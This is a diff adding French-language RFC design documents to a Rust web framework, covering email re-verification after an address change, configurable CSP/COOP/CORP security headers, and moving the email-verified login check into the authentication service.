| 197 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 198 | + | |
| 199 | +```markdown | |
| 200 | +### API changes | |
| 201 | + | |
| 202 | +**Before (v1.0.x)** : | |
| 203 | +`UserService::update_profile` écrivait `users.email` et **conservait** | |
| 204 | +`email_verified` / `email_verified_at`. Seul le handler UI profil envoyait | |
| 205 | +`account_modified` (old+new), sans lien de validation. | |
| 206 | + | |
| 207 | +**After (vX.Y.Z)** : | |
| 208 | +Si la nouvelle adresse (trim) diffère de l'ancienne : | |
| 209 | +`email_verified=false`, `email_verified_at=NULL`, enqueue validation vers | |
| 210 | +la **nouvelle** boîte (`EmailValidationService::send_validation_email`), | |
| 211 | +alerte vers l'**ancienne**. `on_email_verified` inchangé. | |
| 212 | +Signature `update_profile` inchangée. Pas de table `pending_email_changes` | |
| 213 | +(follow-up v2). | |
| 214 | + | |
| 215 | +Breaking : un utilisateur vérifié qui change d'e-mail ne peut plus se | |
| 216 | +connecter tant que `validation_email_required` / `validation_email_requise` | |
| 217 | +est vrai (défaut `true`) et qu'il n'a pas cliqué le lien. | |
| 218 | + | |
| 219 | +```rust | |
| 220 | +UserService::update_profile(db, user_id, None, Some(new_email)).await?; | |
| 221 | +// user.email_verified == false until verify-email token is consumed | |
| 222 | +``` | |
| 223 | + | |
| 224 | +### Migration steps | |
| 225 | + | |
| 226 | +1. Bump `rustwarden-core` à la version qui livre RFC 0038. | |
| 227 | +2. Aucune migration SQL. | |
| 228 | +3. `rustwarden-ui` : ne plus enqueue `account_modified` pour le seul | |
| 229 | + changement d'e-mail (le core s'en charge) ; garder | |
| 230 | + `invalidate_on_email_change`. | |
| 231 | +4. Gitrust / autres : supprimer tout patch local qui re-vérifiait à la | |
| 232 | + main ; prévenir le support (lock-out attendu après changement d'e-mail). | |
| 233 | +5. Vérifier SMTP / worker `email_queue` en prod avant le bump (sinon | |
| 234 | + users unverified sans mail — `resend-verification` reste disponible). | |
| 235 | +``` | |
| 236 | + | |
| 237 | +## Open questions | |
| 238 | + | |
| 239 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 240 | + | |
| 241 | +- [x] **Type de queue de l’alerte** : `"email_changed"` dédié vs `"account_modified"` existant (`AccountModifiedTemplate`) ? **Résolu (2026-09-18) : réutiliser `account_modified` / `AccountModifiedTemplate` (champ Email), déjà traduit — pas de nouveau template.** | |
| 242 | +- [x] **Trim / casse** : comparaison exacte (recommandé, aligné unicité PostgreSQL sensible à la casse) vs fold ASCII ? **Résolu (2026-09-18) : comparaison exacte après trim, pas de fold ASCII (aligné unicité PostgreSQL sensible à la casse).** | |
| 243 | +- [x] **Admin un-verify** : confirmer le même contrat (recommandé) plutôt qu’un bypass `email_verified=true` réservé admin. **Résolu (2026-09-18) : même contrat pour le chemin admin — pas de bypass `email_verified=true` réservé admin.** | |
| 244 | +- [x] **v2** : confirmer follow-up (cette RFC, score v1 ≥ 25) plutôt que fusionner les deux. **Résolu (2026-09-18) : v1 livrée seule ; `pending_email_changes` (v2) confirmée en follow-up hors de ce train.** | |
| 245 | +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.** | |
| 246 | + | |
| 247 | +## Tracking issue | |
| 248 | + | |
| 249 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 15 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 250 | + | |
| 251 | +--- | |
| 252 | + | |
| 253 | +## Score d'évaluation (rempli par les reviewers) | |
| 254 | + | |
| 255 | +Notes **proposées par l’auteur** (Draft) pour **l’alternative A (v1)** ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. v2 hors merge si ce total tient. | |
| 256 | + | |
| 257 | +| Critère | Note (1-5) | Commentaire | | |
| 258 | +|---|---|---| | |
| 259 | +| Généralité | 5 | Tous les call sites `update_profile` (UI, admin, Gitrust, headless). | | |
| 260 | +| Stabilité API | 3 | Signature identique mais breaking comportemental + lock-out login (voulu). | | |
| 261 | +| Performance | 5 | Deux inserts queue hors hot path login ; pas de table extra. | | |
| 262 | +| Sécurité | 5 | Coupe le flag vérifié d’une adresse non prouvée ; alerte l’ancienne boîte. | | |
| 263 | +| Complexité d'implémentation | 4 | Branche ~20 lignes + enqueue best-effort ; pas de migration. | | |
| 264 | +| Charge de maintenance | 4 | Réutilise validation/queue existants ; v2 évité pour l’instant. | | |
| 265 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc ; UI à dédupliquer. | | |
| 266 | +| **Total** | **30/35** | (≥ 25 → v2 en follow-up, pas dans ce PR) | |
A
docs/rfcs/0039-security-headers-config.md
+365
-0
@@ -0,0 +1,365 @@
| 1 | +# RFC 0039 — `SecurityHeadersConfig` (CSP / COOP / CORP additifs) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Accepted (2026-09-18) | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (pourra retirer `SetResponseHeaderLayer::overriding`) ; `rustwarden-ui` / `rustwarden-app` ; tout consommateur de `RustwardenApp::builder()` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constats M-10 + F-UI du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 16). CSP Alpine : [`docs/plans/PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md). | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Ajouter une config **additive** `SecurityHeadersConfig` (CSP configurable, COOP/CORP opt-in) branchée sur `security_headers_middleware` par **capture `Arc` à la construction**, sans changer la CSP par défaut du patch 1.0.1 (`unsafe-inline` / `unsafe-eval` conservés). Phase 2 (après Accept **et** Alpine CSP) : défaut sans `'unsafe-eval'`. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (M-10) | |
| 17 | + | |
| 18 | +[`security_headers_middleware`](../../crates/rustwarden-core/src/app.rs) (~L853–895) pose des en-têtes **hardcodés**, dont : | |
| 19 | + | |
| 20 | +```text | |
| 21 | +content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self' | |
| 22 | +``` | |
| 23 | + | |
| 24 | +`'unsafe-inline'` + `'unsafe-eval'` sur `script-src` annulent l’essentiel de la protection XSS (finding H2 / M-10). **Gitrust** overlay déjà une politique plus stricte via `tower_http::SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` *après* le middleware framework. | |
| 25 | + | |
| 26 | +Le middleware est monté **à l’extérieur** des `Extension(...)` : | |
| 27 | + | |
| 28 | +```699:717:crates/rustwarden-core/src/app.rs | |
| 29 | + let app = router.with_state(db).layer( | |
| 30 | + ServiceBuilder::new() | |
| 31 | + .layer(cors_layer) | |
| 32 | + .layer(axum::middleware::from_fn(security_headers_middleware)) | |
| 33 | + .layer_fn(move |service| AdminService::new(service, db_for_admin.clone())) | |
| 34 | + // ... | |
| 35 | + .layer(axum::Extension(i18n_service)) | |
| 36 | + .layer(axum::Extension(hooks)) | |
| 37 | + .layer(axum::Extension(auth_config)) | |
| 38 | + .layer(axum::Extension(db_for_ext)) | |
| 39 | + .into_inner(), | |
| 40 | + ); | |
| 41 | +``` | |
| 42 | + | |
| 43 | +Dans Tower/Axum, le **premier** `.layer()` de `ServiceBuilder` est le plus **externe** : il voit la requête **avant** que les `Extension` internes ne soient insérées. Un `request.extensions().get::<Arc<SecurityHeadersConfig>>()` dans `security_headers_middleware` est **toujours `None`** sur le chemin aller. D’où : **pas `Extension`**. | |
| 44 | + | |
| 45 | +### Pourquoi ne pas durcir le défaut dans 1.0.1 | |
| 46 | + | |
| 47 | +Retirer `'unsafe-eval'` casse l’admin UI : Alpine.js standard utilise `new Function()` pour `x-data` / `x-bind` ([`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1). Le patch 1.0.1 n’a **pas** changé la CSP. Cette RFC livre d’abord l’**API** pour que Gitrust (et d’autres) cessent d’overrider en couche externe ; le durcissement du **défaut** est la Phase 2, après migration `@alpinejs/csp`. | |
| 48 | + | |
| 49 | +Pas de COOP/CORP aujourd’hui. Gitrust / isolation `Cross-Origin-Opener-Policy: same-origin` doivent pouvoir s’activer **sans** fork du middleware. | |
| 50 | + | |
| 51 | +### Qui est impacté | |
| 52 | + | |
| 53 | +- Gitrust : drop `SetResponseHeaderLayer::overriding` une fois le builder exposé. | |
| 54 | +- Apps qui gardent le défaut : **aucun** changement d’en-têtes (même CSP). | |
| 55 | +- `rustwarden-ui` : Phase 2 seulement, après Alpine CSP. | |
| 56 | + | |
| 57 | +### Si on ne fait rien | |
| 58 | + | |
| 59 | +Chaque consommateur réimplémente un overlay Tower. Le défaut reste indurcissable sans patch core. COOP/CORP restent absents du framework. | |
| 60 | + | |
| 61 | +### Urgence | |
| 62 | + | |
| 63 | +Pas un patch 1.0.1. RFC obligatoire : nouvel item `pub` + builder. Le défaut CSP ne bouge **pas** dans le premier PR d’implémentation. | |
| 64 | + | |
| 65 | +## Non-goals | |
| 66 | + | |
| 67 | +- **Pas de changement de CSP par défaut** dans le train d’implémentation initial (ni 1.0.1, ni le PR « API additive »). `'unsafe-inline'` et `'unsafe-eval'` restent dans `Default`. | |
| 68 | +- **Pas de nonce / hash CSP** (Phases 2–4 de `PLAN_CSP_HTMX.md`). | |
| 69 | +- **Pas de COOP/CORP on by default** : `Option::None` (opt-in). | |
| 70 | +- **Pas d’injection via `Extension`** (piège d’ordre des layers, ci-dessus). | |
| 71 | +- **Pas de toucher** à `X-Content-Type-Options`, `X-Frame-Options`, `X-XSS-Protection`, `Referrer-Policy`, `Permissions-Policy`, HSTS (`APP_DEBUG`) dans cette RFC — ils restent hardcodés comme aujourd’hui. | |
| 72 | +- **Pas de CORS** (déjà `CorsLayer` séparé). | |
| 73 | + | |
| 74 | +## API proposée | |
| 75 | + | |
| 76 | +Nouveau fichier `crates/rustwarden-core/src/config/security_headers.rs`, `pub mod security_headers` dans [`config/mod.rs`](../../crates/rustwarden-core/src/config/mod.rs). Re-export optionnel prelude : `SecurityHeadersConfig` (recommandé, item d’usage builder). | |
| 77 | + | |
| 78 | +### Config | |
| 79 | + | |
| 80 | +```rust | |
| 81 | +// crates/rustwarden-core/src/config/security_headers.rs | |
| 82 | +use std::borrow::Cow; | |
| 83 | + | |
| 84 | +/// Default CSP shipped since SEC-H1 / 1.0.1. Do not tighten in the first | |
| 85 | +/// implementation PR (Alpine.js still needs 'unsafe-eval'). | |
| 86 | +pub const DEFAULT_CONTENT_SECURITY_POLICY: &str = | |
| 87 | + "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 88 | + | |
| 89 | +/// Candidate default **after** PLAN_CSP_HTMX.md Phase 1 (Alpine CSP build). | |
| 90 | +/// Not used by [`SecurityHeadersConfig::default`] until Phase 2 of this RFC. | |
| 91 | +pub const CSP_WITHOUT_UNSAFE_EVAL: &str = | |
| 92 | + "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"; | |
| 93 | + | |
| 94 | +/// Configurable security headers applied by `security_headers_middleware`. | |
| 95 | +#[derive(Clone, Debug)] | |
| 96 | +pub struct SecurityHeadersConfig { | |
| 97 | + /// `Content-Security-Policy` value. Default keeps 1.0.1 (unsafe-inline/eval). | |
| 98 | + pub content_security_policy: Cow<'static, str>, | |
| 99 | + /// `Cross-Origin-Opener-Policy`. `None` = do not set the header (opt-in). | |
| 100 | + pub cross_origin_opener_policy: Option<Cow<'static, str>>, | |
| 101 | + /// `Cross-Origin-Resource-Policy`. `None` = do not set the header (opt-in). | |
| 102 | + pub cross_origin_resource_policy: Option<Cow<'static, str>>, | |
| 103 | +} | |
| 104 | + | |
| 105 | +impl Default for SecurityHeadersConfig { | |
| 106 | + fn default() -> Self { | |
| 107 | + Self { | |
| 108 | + content_security_policy: Cow::Borrowed(DEFAULT_CONTENT_SECURITY_POLICY), | |
| 109 | + cross_origin_opener_policy: None, | |
| 110 | + cross_origin_resource_policy: None, | |
| 111 | + } | |
| 112 | + } | |
| 113 | +} | |
| 114 | + | |
| 115 | +impl SecurityHeadersConfig { | |
| 116 | + /// Opt-in isolation headers commonly used by Gitrust. | |
| 117 | + pub fn with_same_origin_isolation(mut self) -> Self { | |
| 118 | + self.cross_origin_opener_policy = Some(Cow::Borrowed("same-origin")); | |
| 119 | + self.cross_origin_resource_policy = Some(Cow::Borrowed("same-origin")); | |
| 120 | + self | |
| 121 | + } | |
| 122 | +} | |
| 123 | +``` | |
| 124 | + | |
| 125 | +Les snippets sont **proposés** (Draft). `DEFAULT_CONTENT_SECURITY_POLICY` est la chaîne **exacte** lue dans `app.rs` L881 (vérifiée 2026-09-18). | |
| 126 | + | |
| 127 | +### Builder | |
| 128 | + | |
| 129 | +```rust | |
| 130 | +impl RustwardenBuilder { | |
| 131 | + /// Override security headers (CSP / optional COOP / CORP). | |
| 132 | + /// | |
| 133 | + /// Default: [`SecurityHeadersConfig::default`] (current 1.0.1 CSP, | |
| 134 | + /// no COOP/CORP). Call this to let Gitrust drop | |
| 135 | + /// `SetResponseHeaderLayer::overriding`. | |
| 136 | + pub fn security_headers(mut self, cfg: SecurityHeadersConfig) -> Self { | |
| 137 | + self.security_headers = cfg; | |
| 138 | + self | |
| 139 | + } | |
| 140 | +} | |
| 141 | +``` | |
| 142 | + | |
| 143 | +Champ nouveau sur `RustwardenBuilder` : `security_headers: SecurityHeadersConfig` initialisé à `SecurityHeadersConfig::default()` dans `Default`. | |
| 144 | + | |
| 145 | +Usage consommateur : | |
| 146 | + | |
| 147 | +```rust | |
| 148 | +use rustwarden_core::app::RustwardenApp; | |
| 149 | +use rustwarden_core::config::security_headers::SecurityHeadersConfig; | |
| 150 | + | |
| 151 | +async fn build_gitrust() -> anyhow::Result<()> { | |
| 152 | + let cfg = SecurityHeadersConfig::default() | |
| 153 | + .with_same_origin_isolation(); | |
| 154 | + // Optionally: cfg.content_security_policy = Cow::Borrowed("..."); | |
| 155 | + let _app = RustwardenApp::builder() | |
| 156 | + .from_env() | |
| 157 | + .security_headers(cfg) | |
| 158 | + .build() | |
| 159 | + .await?; | |
| 160 | + Ok(()) | |
| 161 | +} | |
| 162 | +``` | |
| 163 | + | |
| 164 | +`from_env()` actuel ne lit **pas** de CSP env — volontaire (politique dans le code / builder, pas une string `.env` non revue). Open question si un `CSP=` est souhaité plus tard. | |
| 165 | + | |
| 166 | +### Câblage middleware — capture `Arc`, pas `Extension` | |
| 167 | + | |
| 168 | +Même patron de **clone dans la closure** que `locale_middleware` (`app.rs` ~L708–712). Position **inchangée** (toujours le layer externe juste après CORS) : | |
| 169 | + | |
| 170 | +```rust | |
| 171 | +let headers_cfg = std::sync::Arc::new(self.security_headers.clone()); | |
| 172 | + | |
| 173 | +.layer(axum::middleware::from_fn({ | |
| 174 | + let cfg = headers_cfg.clone(); | |
| 175 | + move |req, next| { | |
| 176 | + let cfg = cfg.clone(); | |
| 177 | + async move { security_headers_middleware(cfg, req, next).await } | |
| 178 | + } | |
| 179 | +})) | |
| 180 | +``` | |
| 181 | + | |
| 182 | +Signature interne (reste `pub(crate)` / privée au module `app`) : | |
| 183 | + | |
| 184 | +```rust | |
| 185 | +async fn security_headers_middleware( | |
| 186 | + cfg: Arc<SecurityHeadersConfig>, | |
| 187 | + request: Request, | |
| 188 | + next: Next, | |
| 189 | +) -> Response { | |
| 190 | + let mut response = next.run(request).await; | |
| 191 | + let headers = response.headers_mut(); | |
| 192 | + // ... existing X-Content-Type-Options, X-Frame-Options, etc. ... | |
| 193 | + | |
| 194 | + let csp = HeaderValue::from_str(cfg.content_security_policy.as_ref()) | |
| 195 | + .unwrap_or_else(|_| HeaderValue::from_static(DEFAULT_CONTENT_SECURITY_POLICY)); | |
| 196 | + headers.insert(HeaderName::from_static("content-security-policy"), csp); | |
| 197 | + | |
| 198 | + if let Some(coop) = cfg.cross_origin_opener_policy.as_deref() { | |
| 199 | + if let Ok(val) = HeaderValue::from_str(coop) { | |
| 200 | + headers.insert( | |
| 201 | + HeaderName::from_static("cross-origin-opener-policy"), | |
| 202 | + val, | |
| 203 | + ); | |
| 204 | + } | |
| 205 | + } | |
| 206 | + if let Some(corp) = cfg.cross_origin_resource_policy.as_deref() { | |
| 207 | + if let Ok(val) = HeaderValue::from_str(corp) { | |
| 208 | + headers.insert( | |
| 209 | + HeaderName::from_static("cross-origin-resource-policy"), | |
| 210 | + val, | |
| 211 | + ); | |
| 212 | + } | |
| 213 | + } | |
| 214 | + // HSTS inchangé (APP_DEBUG) | |
| 215 | + response | |
| 216 | +} | |
| 217 | +``` | |
| 218 | + | |
| 219 | +`from_str` invalide → fallback CSP 1.0.1 (pas de `unwrap` sur le hot path). COOP/CORP mal formés : skip + `tracing::warn`, pas de 500. | |
| 220 | + | |
| 221 | +Constitution : pas d’`unwrap`/`expect` hors tests. | |
| 222 | + | |
| 223 | +### Phase 2 (après Accept de cette RFC **et** Alpine CSP) | |
| 224 | + | |
| 225 | +Prérequis : [`PLAN_CSP_HTMX.md`](../plans/PLAN_CSP_HTMX.md) Phase 1 (`@alpinejs/csp`, inventaire `x-data` inline → `Alpine.data`). | |
| 226 | + | |
| 227 | +Alors seulement : `Default` pointe sur `CSP_WITHOUT_UNSAFE_EVAL` (retirer `'unsafe-eval'`, **garder** `'unsafe-inline'` jusqu’aux phases suivantes du plan). C’est un **changement de défaut** : PR séparé, mention CHANGELOG `Security`, éventuellement minor. Hors du premier PR d’implémentation de **cette** RFC. | |
| 228 | + | |
| 229 | +Gitrust, une fois le builder livré (Phase 1 API), pose sa CSP (déjà sans eval) via `.security_headers(cfg)` et **retire** `SetResponseHeaderLayer::overriding`. | |
| 230 | + | |
| 231 | +## Analyse de compatibilité | |
| 232 | + | |
| 233 | +Checklist : | |
| 234 | + | |
| 235 | +- [ ] API existante non modifiée → le middleware existait déjà (privé). | |
| 236 | +- [x] API existante étendue avec défaut → **non-breaking** (minor) : `security_headers()` optionnel, `Default` = CSP actuelle. | |
| 237 | +- [ ] API existante modifiée ou supprimée → non. | |
| 238 | +- [x] Nouveau comportement par défaut → **non** en Phase 1 API. Phase 2 = oui (sans eval) — PR distinct. | |
| 239 | +- [ ] Changement de schéma DB → non. | |
| 240 | +- [ ] Changement de format sérialisé → non (en-têtes HTTP seulement). | |
| 241 | + | |
| 242 | +Apps qui n’appellent pas le builder method : bit-identical headers vs 1.0.1. | |
| 243 | + | |
| 244 | +## Alternatives considérées | |
| 245 | + | |
| 246 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 247 | + | |
| 248 | +### Alternative A (recommandée) : config additive + capture `Arc` + défaut 1.0.1 | |
| 249 | + | |
| 250 | +**Pros** : Gitrust drop l’overlay ; COOP/CORP opt-in ; zéro casse UI ; évite le piège `Extension` (layer externe). Phase 2 documentée, pas mélangée. | |
| 251 | + | |
| 252 | +**Cons** : la CSP par défaut reste faible jusqu’à Alpine CSP. Deux PR (API, puis défaut). | |
| 253 | + | |
| 254 | +### Alternative B : changer le défaut CSP maintenant (sans `'unsafe-eval'`) | |
| 255 | + | |
| 256 | +**Pros** : ferme M-10 plus vite pour les apps UI vanilla. | |
| 257 | + | |
| 258 | +**Cons** : **casse l’admin** (Alpine `new Function()`). Interdit explicitement pour 1.0.1 et pour le premier train de cette RFC. Gitrust n’a pas ce problème (overlay) mais `rustwarden-ui` / apps wizard si. | |
| 259 | + | |
| 260 | +### Alternative C (ne rien faire / garder `SetResponseHeaderLayer::overriding`) | |
| 261 | + | |
| 262 | +**Pros** : zéro coût upstream. Gitrust conserve son workaround. | |
| 263 | + | |
| 264 | +**Cons** : chaque consommateur réinvente l’override ; COOP/CORP absents du framework ; Phase 2 défaut impossible à partager. Divergence M-10. | |
| 265 | + | |
| 266 | +## Testing plan | |
| 267 | + | |
| 268 | +Tests unitaires : | |
| 269 | + | |
| 270 | +- Happy path : `SecurityHeadersConfig::default().content_security_policy` **égale** à la constante actuelle `app.rs` L881 (test de non-dérive). | |
| 271 | +- Erreur 1 — CSP non-ASCII / CR-LF : `from_str` fail → réponse sert `DEFAULT_CONTENT_SECURITY_POLICY`, pas de panic. | |
| 272 | +- Erreur 2 — COOP `Some("same-origin\n")` invalide → header COOP **absent**, CSP toujours présent. | |
| 273 | +- Erreur 3 — `with_same_origin_isolation()` : COOP et CORP `same-origin` ; sans appel, les deux absents. | |
| 274 | + | |
| 275 | +Tests d’intégration (middleware / client axum fake) : | |
| 276 | + | |
| 277 | +- Router de test avec le `from_fn` + `Arc` clone : `GET /` → `content-security-policy` défaut ; **pas** de `cross-origin-opener-policy`. | |
| 278 | +- Même router avec `with_same_origin_isolation()` : les trois en-têtes présents. | |
| 279 | +- Régression : `x-frame-options: DENY`, `x-content-type-options: nosniff` toujours là. | |
| 280 | +- Contrôle négatif **Extension** : ne **pas** injecter `Extension(cfg)` et vérifier que le middleware (Arc capturé) fonctionne quand même — documente le piège. | |
| 281 | + | |
| 282 | +Tests de non-régression : | |
| 283 | + | |
| 284 | +- Consommateurs qui n’appellent pas `.security_headers()` **compilent** (`Default` du builder). | |
| 285 | +- `cargo test` UI non requis au PR API (Phase 2 seulement). | |
| 286 | + | |
| 287 | +Doctests : | |
| 288 | + | |
| 289 | +- Au moins un exemple copie/collable sur `SecurityHeadersConfig::default` / `with_same_origin_isolation` (sans I/O), exécuté comme doctest. | |
| 290 | + | |
| 291 | +Benchs : non (insert headers, hors bcrypt). Pas de seuil 10 %. | |
| 292 | + | |
| 293 | +Les exemples builder `.build().await` restent `ignore` (DB). Le doctest de la struct `Default` est exécutable. | |
| 294 | + | |
| 295 | +## Migration guide | |
| 296 | + | |
| 297 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 298 | + | |
| 299 | +```markdown | |
| 300 | +### API changes | |
| 301 | + | |
| 302 | +**Before (v1.0.1)** : | |
| 303 | +`security_headers_middleware` hardcodait la CSP (avec `'unsafe-inline'` | |
| 304 | +et `'unsafe-eval'`). Pas de COOP/CORP. Gitrust overlay | |
| 305 | +`SetResponseHeaderLayer::overriding`. | |
| 306 | + | |
| 307 | +**After (vX.Y.Z)** : | |
| 308 | +Nouveau `rustwarden_core::config::security_headers::SecurityHeadersConfig`. | |
| 309 | +`RustwardenApp::builder().security_headers(cfg)`. Défaut **identique** | |
| 310 | +à 1.0.1. COOP/CORP opt-in (`None`). Le middleware capte `Arc<…>` à la | |
| 311 | +construction (pas `Extension` : le layer est plus externe que les | |
| 312 | +`Extension` dans `app.rs`). | |
| 313 | + | |
| 314 | +Phase 2 (PR ultérieur, après Alpine `@alpinejs/csp`, cf. | |
| 315 | +`docs/plans/PLAN_CSP_HTMX.md`) : `Default` sans `'unsafe-eval'`. | |
| 316 | + | |
| 317 | +```rust | |
| 318 | +use rustwarden_core::config::security_headers::SecurityHeadersConfig; | |
| 319 | + | |
| 320 | +RustwardenApp::builder() | |
| 321 | + .from_env() | |
| 322 | + .security_headers(SecurityHeadersConfig::default().with_same_origin_isolation()) | |
| 323 | + .build() | |
| 324 | + .await?; | |
| 325 | +``` | |
| 326 | + | |
| 327 | +### Migration steps | |
| 328 | + | |
| 329 | +1. Bump `rustwarden-core` à la version qui livre RFC 0039 (Phase 1 API). | |
| 330 | +2. Gitrust : passer la CSP actuelle au builder ; **retirer** | |
| 331 | + `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`. | |
| 332 | +3. Apps UI vanilla : ne rien faire (défaut inchangé). | |
| 333 | +4. Ne **pas** retirer `'unsafe-eval'` du défaut tant que | |
| 334 | + `PLAN_CSP_HTMX.md` Phase 1 n'est pas faite. | |
| 335 | +``` | |
| 336 | + | |
| 337 | +## Open questions | |
| 338 | + | |
| 339 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 340 | + | |
| 341 | +- [x] **Re-export prelude** : `SecurityHeadersConfig` dans `prelude` ou seulement `config::security_headers` ? **Résolu (2026-09-18) : oui — `SecurityHeadersConfig` re-exporté dans le prelude (item d'usage builder).** | |
| 342 | +- [x] **Env `CSP=`** : hors v1 (recommandé) vs lu par `from_env()` ? **Résolu (2026-09-18) : hors v1 — la politique vit dans le code/builder, pas dans une string `.env` non revue.** | |
| 343 | +- [x] **Phase 2 dans cette RFC** (acceptée comme intention) vs RFC 00xx dédiée au changement de défaut ? Recommandé : rester ici comme phase datée, PR séparé. **Résolu (2026-09-18) : reste dans cette RFC comme phase datée ; PR séparé après PLAN_CSP_HTMX.md Phase 1 — hors du train d'implémentation actuel.** | |
| 344 | +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.** | |
| 345 | + | |
| 346 | +## Tracking issue | |
| 347 | + | |
| 348 | +À ouvrir sur le dépôt Rustwarden (labels `area:http` + `security` + `rfc`) en référençant M-10, `PLAN_CSP_HTMX.md` et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 349 | + | |
| 350 | +--- | |
| 351 | + | |
| 352 | +## Score d'évaluation (rempli par les reviewers) | |
| 353 | + | |
| 354 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 355 | + | |
| 356 | +| Critère | Note (1-5) | Commentaire | | |
| 357 | +|---|---|---| | |
| 358 | +| Généralité | 5 | Tous les builders ; Gitrust retire un overlay ; COOP/CORP partagés. | | |
| 359 | +| Stabilité API | 5 | Ajout pur + `Default` bit-identical 1.0.1 ; pas de breaking Phase 1. | | |
| 360 | +| Performance | 5 | Clone `Arc` + `HeaderValue::from_str` une fois par réponse ; négligeable. | | |
| 361 | +| Sécurité | 4 | API de durcissement ; le défaut reste faible jusqu’à Phase 2 (volontaire). | | |
| 362 | +| Complexité d'implémentation | 4 | Un struct + champ builder + closure clone ; piège Extension documenté. | | |
| 363 | +| Charge de maintenance | 4 | Une constante CSP à ne pas faire dériver (`DEFAULT_*` + test d’égalité). | | |
| 364 | +| Documentation | 4 | RFC + rustdoc + PLAN_CSP_HTMX ; CHANGELOG Phase 1 vs 2. | | |
| 365 | +| **Total** | **31/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0040-authenticate-user-email-verified.md
+320
-0
@@ -0,0 +1,320 @@
| 1 | +# RFC 0040 — `AuthService::authenticate_user` honore `validation_email_required` | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Accepted (2026-09-18) | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (SSR / appels directs au service) ; `rustwarden-ui` (déjà via `POST /api/v1/auth/login`) ; tout consommateur de `rustwarden-core` qui appelle `AuthService::authenticate_user` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 17). Contrat limiteur : finding E-2 / layer `auth_ip_rate_limit` 1.0.1. | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Déplacer le contrôle « e-mail vérifié » de `auth/handlers.rs` `login` vers `AuthService::authenticate_user`, avec le même `AppSettingsService::get_bool_with_fallback(["validation_email_required", "validation_email_requise"], true)`, pour que Gitrust et tout SSR qui appelle le service ne puissent plus le contourner. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret | |
| 17 | + | |
| 18 | +Le login JSON fait : | |
| 19 | + | |
| 20 | +1. [`AuthService::authenticate_user`](../../crates/rustwarden-core/src/services/auth_service.rs) (~L109–121) : `verify_credentials` + log `must_change_password` (**sans** regarder `email_verified`). | |
| 21 | +2. [`login`](../../crates/rustwarden-core/src/auth/handlers.rs) (~L313–340) : lit le setting puis bloque. | |
| 22 | + | |
| 23 | +```318:340:crates/rustwarden-core/src/auth/handlers.rs | |
| 24 | + let email_validation_required = | |
| 25 | + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 26 | + &db, | |
| 27 | + &["validation_email_required", "validation_email_requise"], | |
| 28 | + true, | |
| 29 | + ) | |
| 30 | + .await | |
| 31 | + .unwrap_or(true); | |
| 32 | + | |
| 33 | + if email_validation_required && !user.email_verified { | |
| 34 | + let reason = "email_not_verified"; | |
| 35 | + // ... | |
| 36 | + AuthLoggingService::log_blocked_login(...).await?; | |
| 37 | + return Err(AppError::Validation( | |
| 38 | + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 39 | + )); | |
| 40 | + } | |
| 41 | +``` | |
| 42 | + | |
